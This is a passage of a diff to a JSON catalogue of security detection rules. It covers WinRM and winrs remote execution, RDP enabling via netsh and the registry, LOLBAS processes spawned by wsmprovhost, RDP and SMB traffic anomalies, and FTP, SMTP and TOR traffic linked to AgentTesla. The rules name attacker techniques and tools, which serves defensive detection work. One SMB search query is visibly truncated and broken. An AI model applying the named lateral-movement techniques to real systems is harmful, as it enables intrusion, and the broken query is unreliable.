`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_process_instantiation_via_winrm_and_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $Computer$ by abusing WinRM using PowerShell.exe", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WinRM and Winrs", - "description": "The following analytic detects the execution of `winrs.exe` with command-line arguments used to start a process on a remote endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and lateral spread within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=winrs.exe OR Processes.original_file_name=winrs.exe) (Processes.process=\"*-r:*\" OR Processes.process=\"*-remote:*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_winrm_and_winrs_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Service Rdpwinst Tool Execution", - "description": "The following analytic detects the execution of the RDPWInst.exe tool, which is an RDP wrapper library used to enable remote desktop host support and concurrent RDP sessions. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, original file names, and specific command-line arguments. This activity is significant because adversaries can abuse this tool to establish unauthorized RDP connections, facilitating remote access and potential lateral movement within the network. If confirmed malicious, this could lead to unauthorized access, data exfiltration, and further compromise of the targeted host.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"RDPWInst.exe\" OR Processes.original_file_name=\"RDPWInst.exe\") AND Processes.process IN (\"* -i*\", \"* -s*\", \"* -o*\", \"* -w*\", \"* -r*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_service_rdpwinst_tool_execution_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Rdpwinst.exe executed on $dest$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Services Allow Rdp In Firewall", - "description": "The following analytic detects modifications to the Windows firewall to enable Remote Desktop Protocol (RDP) on a targeted machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"netsh.exe\" to allow TCP port 3389. This activity is significant as it may indicate an adversary attempting to gain remote access to a compromised host, a common tactic for lateral movement. If confirmed malicious, this could allow attackers to remotely control the system, leading to potential data exfiltration or further network compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as cmdline values(Processes.parent_process_name) as parent_process values(Processes.process_name) count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = \"netsh.exe\" OR Processes.original_file_name= \"netsh.exe\") AND Processes.process = \"*firewall*\" AND Processes.process = \"*add*\" AND Processes.process = \"*protocol=TCP*\" AND Processes.process = \"*localport=3389*\" AND Processes.process = \"*action=allow*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_allow_rdp_in_firewall_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "new firewall rules was added to allow rdp connection to $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Services Allow Remote Assistance", - "description": "The following analytic detects modifications in the Windows registry to enable remote desktop assistance on a targeted machine. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"Control\\\\Terminal Server\\\\fAllowToGetHelp\" registry path. This activity is significant because enabling remote assistance via registry is uncommon and often associated with adversaries or malware like Azorult. If confirmed malicious, this could allow an attacker to remotely access and control the compromised host, leading to potential data exfiltration or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Control\\\\Terminal Server\\\\fAllowToGetHelp*\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_allow_remote_assistance_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for rdp protocol was modified to enable in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Remote Services Rdp Enable", - "description": "The following analytic detects modifications in the Windows registry to enable Remote Desktop Protocol (RDP) on a targeted machine. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"fDenyTSConnections\" registry value. This activity is significant as enabling RDP via registry is uncommon and often associated with adversaries or malware attempting to gain remote access. If confirmed malicious, this could allow attackers to remotely control the compromised host, potentially leading to further exploitation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Control\\\\Terminal Server\\\\fDenyTSConnections*\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_services_rdp_enable_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for rdp protocol was modified to enable in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Wsmprovhost LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `Wsmprovhost.exe` spawning a LOLBAS execution process. It leverages Endpoint Detection and Response (EDR) data to detect when `Wsmprovhost.exe` spawns child processes that are known LOLBAS (Living Off the Land Binaries and Scripts) executables. This activity is significant because it may indicate an adversary using Windows Remote Management (WinRM) to execute code on remote endpoints, a common technique for lateral movement. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wsmprovhost.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `wsmprovhost_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wsmprovhost.exe spawned a LOLBAS process on $dest$.", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Desktop Network Bruteforce", - "description": "The following analytic identifies potential Remote Desktop Protocol (RDP) brute force attacks by monitoring network traffic for RDP application activity. It detects anomalies by filtering source and destination pairs that generate traffic exceeding twice the standard deviation of the average traffic. This method leverages the Network_Traffic data model to identify unusual patterns indicative of brute force attempts. This activity is significant as it may indicate an attacker attempting to gain unauthorized access to systems via RDP. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app=rdp by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | eventstats stdev(count) AS stdev avg(count) AS avg p50(count) AS p50 | where count>(avg + stdev*2) | rename All_Traffic.src AS src All_Traffic.dest AS dest | table firstTime lastTime src dest count avg p50 stdev | `remote_desktop_network_bruteforce_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware", - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$dest$ may be the target of an RDP Bruteforce", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Desktop Network Traffic", - "description": "The following analytic detects unusual Remote Desktop Protocol (RDP) traffic on TCP/3389 by filtering out known RDP sources and destinations, focusing on atypical connections within the network. This detection leverages network traffic data to identify potentially unauthorized RDP access. Monitoring this activity is crucial for a SOC as unauthorized RDP access can indicate an attacker's attempt to control networked systems, leading to data theft, ransomware deployment, or further network compromise. If confirmed malicious, this activity could result in significant data breaches or complete system and network control loss.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.dest_port=3389 AND All_Traffic.dest_category!=common_rdp_destination AND All_Traffic.src_category!=common_rdp_source AND All_Traffic.action=\"allowed\" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(\"All_Traffic\")` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_desktop_network_traffic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Hidden Cobra Malware", - "Ryuk Ransomware", - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.001", - "mitre_attack_technique": "Remote Desktop Protocol", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT39", - "APT41", - "APT5", - "Axiom", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "HEXANE", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "OilRig", - "Patchwork", - "Silence", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "SMB Traffic Spike", - "description": "The following analytic detects spikes in Server Message Block (SMB) traffic connections, which are used for sharing files and resources between computers. It leverages network traffic logs to monitor connections on ports 139 and 445, and SMB application usage. By calculating the average and standard deviation of SMB connections over the past 70 minutes, it identifies sources exceeding two standard deviations from the average. This activity is significant as it may indicate potential SMB-based attacks, such as ransomware or data theft. If confirmed malicious, attackers could exfiltrate data or spread malware within the network.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Traffic where All_Traffic.dest_port=139 OR All_Traffic.dest_port=445 OR All_Traffic.app=smb by _time span=1h, All_Traffic.src | `drop_dm_object_name(\"All_Traffic\")` | eventstats max(_time) as maxtime | stats count as num_data_samples max(eval(if(_time >= relative_time(maxtime, \"-70m@m\"), count, null))) as count avg(eval(if(_time upperBound AND num_data_samples >=50, 1, 0) | where isOutlier=1 | table src count | `smb_traffic_spike_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Emotet Malware DHS Report TA18-201A", - "Hidden Cobra Malware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "SMB Traffic Spike - MLTK", - "description": "The following analytic identifies spikes in the number of Server Message Block (SMB) connections using the Machine Learning Toolkit (MLTK). It leverages the Network_Traffic data model to monitor SMB traffic on ports 139 and 445, applying a machine learning model to detect anomalies. This activity is significant because sudden increases in SMB traffic can indicate lateral movement or data exfiltration attempts by attackers. If confirmed malicious, this behavior could lead to unauthorized access, data theft, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count values(All_Traffic.dest_ip) as dest values(All_Traffic.dest_port) as port from datamodel=Network_Traffic where All_Traffic.dest_port=139 OR All_Traffic.dest_port=445 OR All_Traffic.app=smb by _time span=1h, All_Traffic.src | eval HourOfDay=strftime(_time, \"%H\") | eval DayOfWeek=strftime(_time, \"%A\") | `drop_dm_object_name(All_Traffic)` | apply smb_pdfmodel threshold=0.001 | rename \"IsOutlier(count)\" as isOutlier | search isOutlier > 0 | sort -count | table _time src dest port count | `smb_traffic_spike___mltk_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Emotet Malware DHS Report TA18-201A", - "Hidden Cobra Malware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -331309,190 +236232,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "Windows File Transfer Protocol In Non-Common Process Path", - "description": "The following analytic detects FTP connections initiated by processes located in non-standard installation paths on Windows systems. It leverages Sysmon EventCode 3 to identify network connections where the process image path does not match common directories like \"Program Files\" or \"Windows\\System32\". This activity is significant as FTP is often used by adversaries and malware, such as AgentTesla, for Command and Control (C2) communications to exfiltrate stolen data. If confirmed malicious, this could lead to unauthorized data transfer, exposing sensitive information and compromising the integrity of the affected host.", - "search": "`sysmon` EventCode=3 NOT(Image IN(\"*\\\\program files*\", \"*\\\\windows\\\\system32\\\\*\",\"*\\\\windows\\\\SysWOW64\\\\*\")) (DestinationPortName=\"ftp\" OR DestinationPort=21) | stats count min(_time) as firstTime max(_time) as lastTime by Image DestinationPort DestinationPortName DestinationHostname DestinationIp SourcePort SourcePortName Protocol SourceHostname dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_file_transfer_protocol_in_non_common_process_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ is having a FTP connection to $DestinationHostname$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.003", - "mitre_attack_technique": "Mail Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Kimsuky", - "SilverTerrier", - "Turla" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows Mail Protocol In Non-Common Process Path", - "description": "The following analytic detects a Windows application establishing an SMTP connection from a non-common installation path. It leverages Sysmon EventCode 3 to identify processes not typically associated with email clients (e.g., Thunderbird, Outlook) making SMTP connections. This activity is significant as adversaries, including malware like AgentTesla, use such connections for Command and Control (C2) communication to exfiltrate stolen data. If confirmed malicious, this behavior could lead to unauthorized data exfiltration, including sensitive information like desktop screenshots, browser data, and system details, compromising the affected host.", - "search": "`sysmon` EventCode=3 NOT(Image IN(\"*\\\\program files*\", \"*\\\\thunderbird.exe\",\"*\\\\outlook.exe\")) (DestinationPortName=\"smtp\" OR DestinationPort=25 OR DestinationPort=587) | stats count min(_time) as firstTime max(_time) as lastTime by Image DestinationPort DestinationPortName DestinationHostname SourceHostname SourcePort SourcePortName Protocol DestinationIp dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mail_protocol_in_non_common_process_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ is having a SMTP connection to $DestinationHostname$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.003", - "mitre_attack_technique": "Mail Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Kimsuky", - "SilverTerrier", - "Turla" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Windows Multi hop Proxy TOR Website Query", - "description": "The following analytic identifies DNS queries to known TOR proxy websites, such as \"*.torproject.org\" and \"www.theonionrouter.com\". It leverages Sysmon EventCode 22 to detect these queries by monitoring DNS query events from endpoints. This activity is significant because adversaries often use TOR proxies to disguise the source of their malicious traffic, making it harder to trace their actions. If confirmed malicious, this behavior could indicate an attempt to obfuscate network traffic, potentially allowing attackers to exfiltrate data or communicate with command and control servers undetected.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*.torproject.org\", \"www.theonionrouter.com\") | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus ProcessId Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_multi_hop_proxy_tor_website_query_filter`", - "tags": { - "analytic_story": [ - "AgentTesla" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ is having a dns query in a tor domain $QueryName$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.003", - "mitre_attack_technique": "Mail Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Kimsuky", - "SilverTerrier", - "Turla" - ] - }, - { - "mitre_attack_id": "T1071", - "mitre_attack_technique": "Application Layer Protocol", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Rocke", - "TeamTNT" - ] - } - ] - } } ], "external_reference": [], @@ -333418,272 +238157,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Windows AD Domain Controller Promotion", - "description": "The following analytic identifies a genuine Domain Controller (DC) promotion event by detecting when a 